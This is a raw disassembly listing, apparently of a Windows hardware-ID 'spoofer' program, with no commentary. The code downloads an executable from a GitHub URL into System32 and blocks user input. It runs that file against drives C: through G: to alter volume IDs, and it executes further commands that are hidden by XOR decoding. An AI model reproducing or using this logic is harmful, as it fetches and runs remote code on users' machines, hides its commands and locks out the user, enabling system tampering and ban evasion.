lea rdx, str.https:__github.com_Modztw_spoofer_raw_main_Volumeid64.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, [rbp + 0x10]
call fcn.14001e590
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x24
jb 0x140025143
lea rax, [r8 + 0x24]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rcx, 0xf
jbe 0x1400250d5
mov rsi, qword [rdi]
lea rax, [0x1400bb96c]
mov ebx, 0x24
lea r15, str.C:WindowsSystem32VolumeID.exe_C:
cmp rax, rsi
jbe 0x140025108
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140025108
cmp rsi, r15
ja 0x140025100
mov r14, r12
jmp 0x14002510b
mov r14, rsi
sub r14, r15
jmp 0x14002510b
mov r14, rbx
inc r8
lea rcx, [rsi + 0x24]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [0x1400bb96c]
add rdx, r14
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14002516f
mov ebx, 0x24
mov qword [rsp + 0x28], rbx
lea r15, str.C:WindowsSystem32VolumeID.exe_C:
mov qword [rsp + 0x20], r15
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov edx, ebx
mov rcx, rdi
call fcn.14003ef60
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400251ee
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400251e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400251e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
movdqa xmm0, xmmword [0x1400bd550]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14002523d
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025238
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025238
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
lea rcx, [rbp + 0x30]
call fcn.14001e590
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x24
jb 0x1400252da
lea rax, [r8 + 0x24]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rcx, 0xf
jbe 0x140025271
mov rsi, qword [rdi]
lea rax, [0x1400bb994]
lea r15, str.C:WindowsSystem32VolumeID.exe_D:
cmp rax, rsi
jbe 0x14002529f
lea rax, [rsi + r8]
cmp r15, rax
ja 0x14002529f
cmp rsi, r15
ja 0x140025297
mov r14, r12
jmp 0x1400252a2
mov r14, rsi
sub r14, r15
jmp 0x1400252a2
mov r14, rbx
inc r8
lea rcx, [rsi + 0x24]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [0x1400bb994]
add rdx, r14
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140025302
mov qword [rsp + 0x28], rbx
lea r15, str.C:WindowsSystem32VolumeID.exe_D:
mov qword [rsp + 0x20], r15
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.14003ef60
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140025381
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002537c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002537c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
movdqa xmm0, xmmword [0x1400bd550]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400253d0
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400253cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400253cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
lea rcx, [rbp + 0x50]
call fcn.14001e590
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x24
jb 0x14002546a
lea rax, [r8 + 0x24]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rcx, 0xf
jbe 0x140025404
mov rsi, qword [rdi]
lea rax, [0x1400bb9bc]
lea r15, str.C:WindowsSystem32VolumeID.exe_E:
cmp rax, rsi
jbe 0x140025432
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140025432
cmp rsi, r15
ja 0x14002542a
mov r14, r12
jmp 0x140025435
mov r14, rsi
sub r14, r15
jmp 0x140025435
mov r14, rbx
inc r8
lea rcx, [rsi + 0x24]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [r15 + 0x24]
add rdx, r14
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140025492
mov qword [rsp + 0x28], rbx
lea r15, str.C:WindowsSystem32VolumeID.exe_E:
mov qword [rsp + 0x20], r15
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.14003ef60
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rcx, qword [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140025511
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002550c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002550c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
movdqa xmm0, xmmword [0x1400bd550]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140025560
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002555b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002555b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
lea rcx, [rbp + 0x70]
call fcn.14001e590
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x24
jb 0x1400255fa
lea rax, [r8 + 0x24]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rcx, 0xf
jbe 0x140025594
mov rsi, qword [rdi]
lea rax, [0x1400bb9e4]
lea r15, str.C:WindowsSystem32VolumeID.exe_F:
cmp rax, rsi
jbe 0x1400255c2
lea rax, [rsi + r8]
cmp r15, rax
ja 0x1400255c2
cmp rsi, r15
ja 0x1400255ba
mov r14, r12
jmp 0x1400255c5
mov r14, rsi
sub r14, r15
jmp 0x1400255c5
mov r14, rbx
inc r8
lea rcx, [rsi + 0x24]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [r15 + 0x24]
add rdx, r14
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140025622
mov qword [rsp + 0x28], rbx
lea r15, str.C:WindowsSystem32VolumeID.exe_F:
mov qword [rsp + 0x20], r15
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.14003ef60
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp], xmm1
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400256a1
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002569c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002569c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
movdqa xmm0, xmmword [0x1400bd550]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400256f3
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400256ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400256ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
lea rcx, [rsp + 0x38]
call fcn.14001e590
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x24
jb 0x140025791
lea rax, [r8 + 0x24]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rcx, 0xf
jbe 0x140025728
mov rsi, qword [rdi]
lea rax, [0x1400bba0c]
lea r15, str.C:WindowsSystem32VolumeID.exe_G:
cmp rax, rsi
jbe 0x140025756
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140025756
cmp rsi, r15
ja 0x14002574e
mov r14, r12
jmp 0x140025759
mov r14, rsi
sub r14, r15
jmp 0x140025759
mov r14, rbx
inc r8
lea rcx, [rsi + 0x24]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
sub rbx, r14
lea rdx, [0x1400bba0c]
add rdx, r14
lea rcx, [rsi + r14]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400257b9
mov qword [rsp + 0x28], rbx
lea r15, str.C:WindowsSystem32VolumeID.exe_G:
mov qword [rsp + 0x20], r15
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.14003ef60
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14002583d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025838
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025838
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
movdqa xmm0, xmmword [0x1400bd550]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14002588f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002588a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002588a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov dword [rsp + 0x38], eax
movdqa xmm0, xmmword [0x1400bd690]
movdqu xmmword [rsp + 0x3c], xmm0
movdqa xmm1, xmmword [0x1400bd870]
movdqu xmmword [rsp + 0x4c], xmm1
movdqa xmm0, xmmword [0x1400bd630]
movdqu xmmword [rsp + 0x5c], xmm0
mov edx, r12d
test eax, eax
je 0x1400258e9
nop dword [rax]
mov eax, edx
lea rcx, [rsp + 0x3c]
add rcx, rax
lea eax, [rdx + 0x48]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x38]
cmp edx, eax
jb 0x1400258d0
mov byte [rsp + rax + 0x3c], 0
lea rcx, [rsp + 0x3c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x38], Ordinal_50
movdqa xmm0, xmmword [0x1400bd690]
movdqu xmmword [rsp + 0x3c], xmm0
movdqa xmm1, xmmword [0x1400bd870]
movdqu xmmword [rsp + 0x4c], xmm1
movdqa xmm0, xmmword [0x1400bd890]
movdqu xmmword [rsp + 0x5c], xmm0
mov edx, r12d
nop
mov eax, edx
lea rcx, [rsp + 0x3c]
add rcx, rax
lea eax, [rdx + 0x48]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x38]
cmp edx, eax
jb 0x140025930
mov byte [rsp + rax + 0x3c], 0
lea rcx, [rsp + 0x3c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400259ae
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400259a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400259a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140025a0b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025a06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bff0
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.14009bba0
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret